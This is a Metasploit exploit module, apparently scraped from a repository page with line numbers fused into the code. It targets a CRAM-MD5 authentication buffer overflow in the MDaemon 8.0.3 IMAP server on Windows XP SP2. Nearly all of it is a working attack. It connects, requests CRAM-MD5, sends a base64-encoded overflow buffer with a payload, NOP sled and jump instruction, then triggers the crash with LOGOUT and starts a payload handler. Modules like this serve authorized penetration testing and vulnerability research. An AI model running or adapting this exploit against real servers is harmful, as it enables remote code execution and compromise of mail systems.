Path: blob/master/modules/exploits/windows/imap/mdaemon_cram_md5.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',15'Description' => %q{16This module exploits a buffer overflow in the CRAM-MD517authentication of the MDaemon IMAP service. This18vulnerability was discovered by Muts.19},20'Author' => [ 'Unknown' ],21'License' => BSD_LICENSE,22'References' => [23[ 'CVE', '2004-1520'],24[ 'OSVDB', '11838'],25[ 'BID', '11675'],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'MDaemon IMAP 8.0.3 Windows XP SP2', {} ],39],40'DisclosureDate' => '2004-11-12',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def exploit52connect5354print_status("Asking for CRAM-MD5 authentication...")55sock.put("a001 authenticate cram-md5\r\n")56res = sock.get_once5758print_status("Received CRAM-MD5 answer: #{res.chomp}")59# Magic no return-address exploitation ninjaness!60buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"61req = Rex::Text.encode_base64(buf) + "\r\n"62sock.put(req)63res = sock.get_once6465print_status("Received authentication reply: #{res.chomp}")66print_status("Sending LOGOUT to close the thread and trigger an exception")67sock.put("a002 LOGOUT\r\n")68res = sock.get_once6970print_status("Received LOGOUT reply: #{res.chomp}")71select(nil, nil, nil, 1)7273handler74disconnect75end76end777879